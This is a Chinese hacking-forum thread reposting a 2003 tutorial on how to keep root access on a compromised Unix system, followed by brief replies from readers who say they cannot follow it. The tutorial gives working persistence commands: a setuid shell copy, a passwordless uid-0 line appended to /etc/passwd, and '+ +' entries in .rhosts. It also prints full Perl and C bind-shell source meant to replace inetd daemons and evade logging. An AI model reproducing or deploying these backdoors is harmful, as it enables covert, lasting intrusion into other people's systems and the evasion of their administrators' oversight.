返回列表 发帖

如何创建后门

[这个贴子最后由hus928在 2003/04/01 09:57pm 第 1 次编辑] how to creat the backdoor by zer9 ==== --- 前言: 本文之内容可以任意拷贝,传阅。在不违背作者原始 意图的情况下也可任意修改,但请在修改后mail给作 者一份。谢谢! --- 参考文献: Article: backdoor from The Infinity Concept Issue II Src: b4b0.c by b4b0 Src: daemonsh.pl by van Hauser / [THC] in 1997' -- 千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r " -- 创建后门的方法如下: - 1. setuid #cp /bin/sh /tmp/.backdoor #chmod u+s /tmp/.backdoor 加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; - 2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; - 3.echo "+ zer9">>/.rhosts 即本地的名为 zer9 的用户可以直接 rlogin target 无须口令 此时的 zer9 就相当于口令,不知道的人是不能进去的. 前提是目标的port 512or513or514 opening. 注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; 还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限; -- 适用于比新手高一点点,比中级水平低一点点的guys; - 4.modify sendmail.cf 增加一个"wiz" 命令; usage: telnet target 25 [enter] wiz[enter] 这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎 所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易 猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强; 你只在你的机器上试一试就okay了; -- 顾名思意,大师级漏洞; - 5. crack suck as inetd,login,... 即安装它们的特络绎版本。你需要找到各版本unix的rootkit; 然后分别编译即可;-- 如果目标机上没有安装 tripwire之类 的东东,那几乎不可能被发现。linux&sunos&freebsd的可能 好找,但其他的了?即使你找到了,你有对应平台上的编译器 吗?我有一台运行 slackware,one running irix,one running sunos,one running hpux,one running digits unix,... hahhahha,我又做梦了:) -- 我个人认为是最好的方法,但实现起来有一定风险, 你必须考虑到如果你的木马运行出错怎么办--因为 我们所做的一切都必须以不破坏目标机上的任何数 据为原则; - 6.ping rem0te backd00r 即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过 防火墙。具体的程序你可在 [THC] 的主页发现; 我想到了另外一种直接用ping命令实现的可通过防火墙的 方法 : 一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火 墙内的信息均被过滤掉 :( 用 60k data 代表长,10k data 代表短;使用摩尔思编码; (或其他自定义编码) 双方通过 ICMPinfo 接受信息(ping 's data length); “嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河- -- 向我开炮!向我开炮”(^o^); 以后有时间我会通过程序来实现验证可行性的。 (技术上应该没有什么难度) - 7.rem0te shell 我最喜欢的方式。而且由于绕开了login,故用 who 无法 看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有 完全避开 syslogd.ADM仍可以在/var/log/messages中发现 你。不过,有一种方法可以彻底完全的旁路 syslogd!且听 下面一一道来. bindshell的实现有两种: a. 替换掉 inetd.conf 中的不重要服务,如 rlogind :) 在inetd 接受 connect 请求后,直接在本端口 利用 system("/bin/csh -i"); 直接spam 出一个shell, b. 接受 connect 后,在高端spam出一个shell; (更安全 :) 下面我给出一个perl 实现(不需socket libary支持) (pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2) 和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) --- perl 版安装方法: ###无须编译!!只要目标机上有perl支持就okay! 如何判断有无perl: $/>perl [enter] [ctrl-c] $/> - 如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面 的方法有很大的危险性, exit(-1) please; - 首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且 不太引人注目的daemon,注意,一定要是 TCP types.然后 mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) cp in.rexecd /usr/sbin/in.rexecd 然后 ps -aux|grep inetd;kill -HUP id(by inetd); okay! 连 /etc/inetd.conf 都不要改。 重申一点:不论在任何情况下,我们都要尽最大的可能保护数据! - Usage: nc target (such as 512) [enter] ur passwd [enter] (then u login in...:) ----Cut Here------------------------------------------ #!/usr/bin/perl # # BEST # SIMPLE # rem0te bind shell #[perl version only tcp] # by # zer9[FTT] # zer9@21cn.com #passed on allmost unix #greet to:van Hauser/[THC] # for his daemonshell.pl # $SHELL="/bin/csh -i"; #d3f4ult p4sswd 1s "wh04r3u" (no quote); $PASSWORD="BifqmATb6D5so"; if ($PASSWORD) { chop($pass=); if (crypt($pass, $PASSWORD) ne $PASSWORD) { exit 0; } exec $SHELL ; exit 0; } ----Cut Here-------------------------------------------- 下面是一个for gnuc 的bindshell,first cut it,save as backdoor.c ,then cc backdoor.c -o backdoor other action just l1ke before; Usage: (exp:binding to in.rlogind (513)) nc target 513 //spam a shell on the high port; nc target 54321 ur zer9 (then u coming in...) ----Cut Here------------------------------------- /* * [ b i n d - s h e l l ] * by * zer9[FTT] * zer9@21cn.com *test on slackware 2.0.33&irix6.4(cc) *cc backdoor.c -o backdoor *u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m *c0mm4nd l1n3: backdoor [port] *d3fault p0rt 1s: 54321 *greets to b4b0 for his b4b0.c *m4yb3 1 c0uld s4y: *"0k,b4b0.l1st3n c4r3fully;" *s0rry,just a joke. * */ #include #include #include #include #include #include #include #define PassWord "zer9" /* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ #define DefaultPort 54321 /* d3f4ult b1nd1ng p0rt */ int main(int argc,char **argv) { int s,in_s; struct sockaddr_in server,client; int client_len,bindport; char recvbuf[1000]; if(argc!=2) bindport=DefaultPort; else bindport=atoi(argv[1]); if((s=socket(AF_INET,SOCK_STREAM,0))<0) { perror("socket"); return -1; } bzero((char *)&server,sizeof(server)); bzero((char *)&client,sizeof(client)); bzero(recvbuf,sizeof(recvbuf)); server.sin_family=AF_INET; server.sin_port=htons(bindport); server.sin_addr.s_addr=INADDR_ANY; if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) { perror("bind"); return -1; } if(listen(s,3)!=0) { perror("listen"); return -1; } client_len=sizeof(client); if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) { perror("accept"); return -1; } recv(in_s,recvbuf,sizeof(recvbuf),0); sleep(1); if((strlen(recvbuf)-1)==strlen(PassWord)) if(!strncmp(recvbuf,PassWord,strlen(PassWord))) { send(in_s,"0k4y! c0m1ng 1n...\n",25,0); close(0);close(1);close(2); dup2(in_s,0);dup2(in_s,1);dup2(in_s,2); execl("/bin/csh","/bin/csh",(char *)0); } close(s); close(in_s); return 0; } ----Cut Here------------------------------------------------- 用上面的方法都不能完全的避开syslogd,因为他们都是由 inetd 启动的,inetd启动它们的同时已经进行log 了; 旁路掉inetd就能完全避开syslog! 方法很简单,只要直接在命令行直接启动例程2(c)就可以了, (1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了; 比较好的方法是在 /etc/rc.d/rc.local中加入: backdoor & 但即使这样作了,每次用过后还要再起动一次;更好的方法 是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个 问题;但这样做与hack inetd 那样更有效率(安全)了? -- 8.第八种武器就是 crontab 我只知道原理,没实践过. 每到一定时间就往 /etc/passwd 中加入一条uid为0(root) 的用户;时间一道就delete ,或创建suid's shell... 在序言中提到的文章中有详细介绍; -- 9.有没有想过只要向系统的一个用户发一个email,OS 就会spam 出一个shell?利用用户的home目录下的 .forward 可作到这一点。 -- 10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB, 看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小); [THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; -- 11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root; 但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid 不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire 可发现。 --------- 我所知道的方法全部坦白完了,如果你知道更好更酷的(or 更差更复杂) ,请与我交流。谢谢! --------- *ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT* 最后警告: 这篇文章的写作目的是为了更好的与你进行技术上的交流, 而不是教唆或鼓励你进行破坏。对于任何人因为阅读本文 而造成的不良后果,作者不承担任何法律责任。 *ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT* _______________________________________________________ zer9[FTT] zer9@21cn.com ============= PGP Key ID:0x288B2835 PGP Key Fingerprint:7633 5DC1 C11C 9D7E 75D3 B95B 0613 8C39 288B 2835 to get my pgp public key at MIT's key server.

如何创建后门

好难,看不懂

TOP

如何创建后门

是啊....
有简单一点的后门吗?

TOP

如何创建后门

我也看不懂,是你太高了还是我太菜了,

TOP

如何创建后门

唉!
因为自己太菜了什么都看不懂

TOP

如何创建后门

我也看不明白一塌糊涂

TOP

返回列表 回复 发帖